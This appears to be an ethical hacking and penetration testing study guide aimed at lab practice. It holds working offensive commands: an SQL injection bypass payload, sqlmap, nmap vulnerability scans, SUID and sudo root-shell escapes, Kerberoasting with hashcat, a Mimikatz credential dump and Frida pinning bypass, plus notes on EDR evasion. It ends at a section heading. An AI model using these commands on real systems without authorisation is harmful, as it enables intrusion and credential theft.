Ethical Hacking & Pentesting Master Guide

1. Absolute Beginner: Hacking Demystified BEGINNER

Hacking is the art of deconstructing digital systems to understand how they function, identifying security vulnerabilities, and finding creative ways to exploit them. While popular media portrays hackers as criminals wearing hoodies in dark rooms, ethical hacking is a respected engineering discipline dedicated to protecting organizations.

The Hacker Types Spectrum

• White Hat (Ethical Hackers): Security professionals employed by companies to find and fix vulnerabilities legally, with explicit written permission (Scope of Work).
• Black Hat (Cybercriminals): Malicious attackers who exploit vulnerabilities for personal financial gain, extortion, data theft, or destruction.
• Grey Hat: Hackers who may find vulnerabilities without prior permission, but report them privately without malicious intent (operating in a legal grey area).
• Red Team: Offensive security specialists who simulate multi-stage real-world adversary attacks against an enterprise's defenses.
• Script Kiddies: Inexperienced amateurs who execute pre-written automated scripts without understanding the underlying code.

2. Setting Up Your Hacking Lab

1. Install Hypervisor Software: Download and install free virtualization software like Oracle VM VirtualBox or VMware Workstation Player.
2. Download Kali Linux: Download the pre-built VirtualBox image of Kali Linux (the industry standard Linux distribution containing over 600 pre-installed hacking tools).
3. Set Up Vulnerable Target VMs: Download intentionally vulnerable virtual machines like Metasploitable 2 and OWASP Juice Shop to practice exploits on your local machine.
4. Configure Virtual Networking: Set the network adapters of both Kali Linux and your target VM to Host-Only Network or NAT Network inside VirtualBox so they can talk to each other in an isolated environment.

3. The 5 Phases of Ethical Hacking

1. 1. Reconnaissance (Information Gathering): Passively collecting OSINT data about the target domain, IP ranges, employee emails, and tech stack without alerting the target.
2. 2. Scanning & Enumeration: Actively probing the target using port scanners (Nmap) to identify live hosts, open ports, running services, and software versions.
3. 3. Gaining Access (Exploitation): Leveraging an identified vulnerability (e.g., SQL injection, unpatched software flaw) to execute code and enter the target system.
4. 4. Maintaining Access (Persistence): Establishing persistent backdoors or web shells to ensure continuous access even if the system reboots.
5. 5. Clearing Tracks & Reporting: Cleaning up temporary exploit files/logs and writing a comprehensive professional executive report detailing vulnerabilities and remediation steps.

4. OSINT & Nmap Reconnaissance Cheat Sheet

# Google Dorks for finding exposed admin portals and sensitive documents
site:target.com inurl:admin
site:target.com filetype:pdf "confidential"
site:target.com intitle:"index of"

# Stealth SYN Scan (-sS), Version Detection (-sV), Default Scripts (-sC) across all ports (-p-)
nmap -sS -sV -sC -p- 192.168.1.50

# Vulnerability Scanning using Nmap Scripting Engine (NSE)
nmap --script vuln 192.168.1.50

5. Web Application Penetration Testing & API Security

OWASP Top 10 Web Vulnerabilities

# SQL Injection Authentication Bypass Payload
admin' OR '1'='1' --

# Automated SQL Injection testing with sqlmap
sqlmap -u "http://target.com/product.php?id=1" --dbs --batch

OWASP API Security Top 10 & Testing Commands

APIs (Application Programming Interfaces) power modern mobile and web applications. Common API flaws include Broken Object Level Authorization (BOLA / IDOR):

# Testing API Endpoints for BOLA / IDOR using cURL
curl -H "Authorization: Bearer USER_TOKEN_1" "https://api.target.com/v1/users/1002/profile"

# If User 1 can view User 2's private profile by changing ID to 1003, BOLA is confirmed!
curl -H "Authorization: Bearer USER_TOKEN_1" "https://api.target.com/v1/users/1003/profile"

6. Linux & Windows Privilege Escalation Vectors ADVANCED

Once an initial shell is gained on a low-privilege account, attackers execute Privilege Escalation (PrivEsc) to elevate access to root (Linux) or SYSTEM (Windows).

Linux Privilege Escalation Vectors

# 1. Find SUID Binaries (GTFOBins Exploitation)
find / -perm -4000 -type f 2>/dev/null

# If /usr/bin/find has SUID flag set, spawn a root shell:
find . -exec /bin/sh -p \; -quit

# 2. Check Sudo Privileges without password
sudo -l

# If (ALL : ALL) NOPASSWD: /usr/bin/vim is listed:
sudo vim -c ':!/bin/sh'

Windows Privilege Escalation Vectors

# 1. Check Unquoted Service Paths with Spaces
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\" | findstr /i /v """

# 2. Check User Privileges for Impersonation Flags (SeImpersonatePrivilege)
whoami /priv

# If SeImpersonatePrivilege is enabled, run RoguePotato / SweetPotato to get SYSTEM!

7. Buffer Overflow & Binary Exploitation Methodology ADVANCED

A Buffer Overflow occurs when an application writes more data to a buffer in stack memory than it can hold, overwriting adjacent memory pointers (like the Instruction Pointer EIP) to redirect code execution to malicious shellcode.

8. Windows Active Directory & Red Team C2 Evasion ADVANCED

Active Directory Attacks

# Kerberoasting: Requesting SPN hashes and cracking offline
Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat Hashcat

# Crack extracted Kerberos hashes offline with Hashcat
hashcat -m 13100 kerberos_hashes.txt /usr/share/wordlists/rockyou.txt

# Dump LSASS memory credentials using Mimikatz
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

Red Team C2 Frameworks & Evasion Techniques

Modern Red Teams use **Command and Control (C2)** frameworks (Cobalt Strike, Havoc, Empire, Mythic) to manage compromised hosts. To bypass Endpoint Detection and Response (EDR) agents, operators employ sophisticated evasion techniques:

• DLL Sideloading: Executing malicious DLL payloads by exploiting trusted, signed Windows executables that load DLLs without verification.
• Process Injection: Injecting shellcode into legitimate running processes (e.g., explorer.exe, svchost.exe) via VirtualAllocEx and WriteProcessMemory.
• API Unhooking: Restoring original Windows NT API user-land DLLs (like ntdll.dll) in memory to remove EDR monitoring hooks.

9. Android Mobile Application Hacking ADVANCED

# Decompile an Android APK using apktool to inspect resources and AndroidManifest.xml
apktool d app-release.apk -o decompiled_app/

# List connected Android devices / emulators via ADB
adb devices

# Hook app functions with Frida to bypass SSL Certificate Pinning
frida -U -f com.example.targetapp -l disable-ssl-pinning.js

10. Ethical Hacking Roadmap & Bug Bounty Hunting